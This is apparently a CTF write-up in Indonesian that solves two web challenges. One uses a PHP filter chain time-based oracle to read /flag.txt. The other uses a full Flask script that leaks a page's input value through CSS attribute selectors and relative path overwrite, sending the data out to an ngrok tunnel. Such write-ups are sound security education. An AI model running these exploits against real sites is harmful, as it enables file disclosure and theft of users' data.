ARA CTF Writeup ALL Web From TCP1P Team

Web

Simple

Technical Review

Pada challenge ini kita perlu untuk melakukan exploitasi pada salah satu fungsi berikut yaitu:

• filesize
• mime_content_type
• realpath

Perlu diketahui bahwa beberapa fungsi yang berkaitan dengan meread file di php support dengan php filter, yang dimana ini membuat fungsi tersebut vulerable dengan serangan php filter chain.

Exploit

Disini saya menggunakan exploit dari https://github.com/synacktiv/php_filter_chains_oracle_exploit untuk melakukan Time Based Out Of Bound (OOB) exploit pada fungsi mime_content_type. Berikut script yang saya gunakan untuk melakukan exfitrasi pada data flag:

python3 php_filter_chains_oracle_exploit/filters_chain_oracle_exploit.py --target http://103.152.242.68:200
11/ --file '/flag.txt' --parameter input --data '{"action":"mime_content_type"}' --verb "POST" --time_based_a
ttack true

Yana

Technil Review

Pada challenge ini kita mengesploitasi 2 vulnerability yaitu XSLeak menggunakan CSS, dan juga Relative Path Overide.

Relative Path Overide yang kita gunakan dapat terefleksi pada error berikut:

app.all('*', (req, res) => {
	return res.status(200).send(`${req.path} Path not found`);
});

dan juga karena dalam index.html style.css menggunakan relative path, kite dapat melakukan overide pada style.css, sehingga input kita yang tereflected tadi mengganti style css yang ada

    <style>
        @import 'style.css';
    </style>

Exploit

Berikut solve script yang saya gunakan untuk melakukan XSLeak pada flag:

# http://103.152.242.68:20012/**/@import/**/url(http://{IP}/leak.css)/*/..%2f..%2f..%2f..%2f..%2f..%2f..%2findex.html
import os
import string
from time import sleep
from flask import Flask, request
from pyngrok import ngrok
from flask_cors import CORS

PORT = 4444

app = Flask(__name__)
CORS(app, origins="http://server:8080")

TUNNEL = ngrok.connect(4444, "http").public_url
LOCAL_URL2 = "http://172.22.0.1:4444/"
flag = ""


def oracle(chars):
    return 'input[value^="%s"]{background-image:url("%s")}' % (chars, TUNNEL+"/leaked?l="+chars)


def valueleak(known):
    result = ""
    for i in string.ascii_letters+string.digits+"_{}":
        result += oracle(known+i)
    return result


@app.get("/leaked")
def leak():
    global flag
    leaked = request.args.get("l")
    flag = leaked
    return "ok"


@app.get("/css/<int:i>")
def css(i: int):
    global flag
    while len(flag) != i:
        sleep(1)
    return valueleak(known=flag), 200, {"Content-Type": "text/css"}

def get_path_depth(path):
    # Use os.path.normpath to handle different path separators
    normalized_path = os.path.normpath(path)

    # Split the path into its components
    path_components = normalized_path.split(os.sep)

    # Remove empty components (e.g., double slashes)
    path_components = [component for component in path_components if component]

    # Return the number of components as the depth
    return len(path_components)

def genpayload(lenght):
    result = "http://server:8080/**/"
    for i in range(lenght):
        if i < len(flag):
            continue
        result += '@import/**/url(%s);' % (LOCAL_URL2+"css/"+str(i))
    result += "/*/"
    path = get_path_depth(result)-2
    result += f'{"..%2f"*path}index.html'
    return result


if __name__ == "__main__":
    print(genpayload(30))
    app.run("0.0.0.0", 4444)